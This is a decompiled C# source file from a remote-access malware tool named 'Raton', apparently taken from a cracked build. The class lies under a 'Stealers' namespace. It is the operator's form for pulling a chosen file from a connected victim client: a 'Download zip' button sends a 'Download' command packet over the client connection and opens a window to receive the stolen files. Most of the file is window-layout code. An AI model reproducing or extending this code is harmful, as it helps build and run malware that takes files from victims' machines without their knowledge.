Files
2026-08-27 11:23:13 -06:00

132 lines
4.7 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Stealers.ratonFileEx
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Classes;
using Raton.Forms.ClientForms.Misc;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Stealers;
public class ratonFileEx : Form
{
private IContainer components;
private Timer timer1;
public TextBox textBox1;
public Label label1;
public Label label2;
public RgbBuildButton button1;
public SillyClient SillyClient { get; set; }
public ratonFileEx()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
}
private void ratonFileEx_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button1_Click(object sender, EventArgs e)
{
string str1 = Helpers.Random();
Pack pack = new Pack();
pack.SetString("Packet", "Download");
pack.SetString("File", this.textBox1.Text);
pack.SetString("DUID", str1);
string str2 = "File ID: ";
if ((ratonFIle) Application.OpenForms[str2 + str1] != null)
return;
ratonFIle ratonFile = new ratonFIle();
ratonFile.Name = str2 + str1;
ratonFile.Text = str2 + str1;
ratonFile.SillyClient = this.SillyClient;
ratonFile.Show();
this.SillyClient.Send(pack.Pacc());
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonFileEx));
this.timer1 = new Timer(this.components);
this.textBox1 = new TextBox();
this.label1 = new Label();
this.label2 = new Label();
this.button1 = new RgbBuildButton();
this.SuspendLayout();
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
this.textBox1.Enabled = false;
this.textBox1.Location = new Point(12, 36);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(543, 20);
this.textBox1.TabIndex = 10;
this.label1.AutoSize = true;
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label1.Location = new Point(12, 17);
this.label1.Name = "label1";
this.label1.Size = new Size(159, 16 /*0x10*/);
this.label1.TabIndex = 9;
this.label1.Text = "Waiting for the client files...";
this.label2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.label2.Location = new Point(396, 17);
this.label2.Name = "label2";
this.label2.Size = new Size(159, 16 /*0x10*/);
this.label2.TabIndex = 12;
this.label2.Text = "0%";
this.label2.TextAlign = ContentAlignment.TopRight;
this.button1.Cursor = Cursors.Arrow;
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_folder_zip_24_filled;
this.button1.IconSize = 25;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(12, 64 /*0x40*/);
this.button1.Name = "button1";
this.button1.Size = new Size(543, 46);
this.button1.TabIndex = 13;
this.button1.Text = "Download zip";
this.button1.Click += new EventHandler(this.button1_Click);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(567, 122);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label1);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonFileEx);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonFileEx);
this.Load += new EventHandler(this.ratonFileEx_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}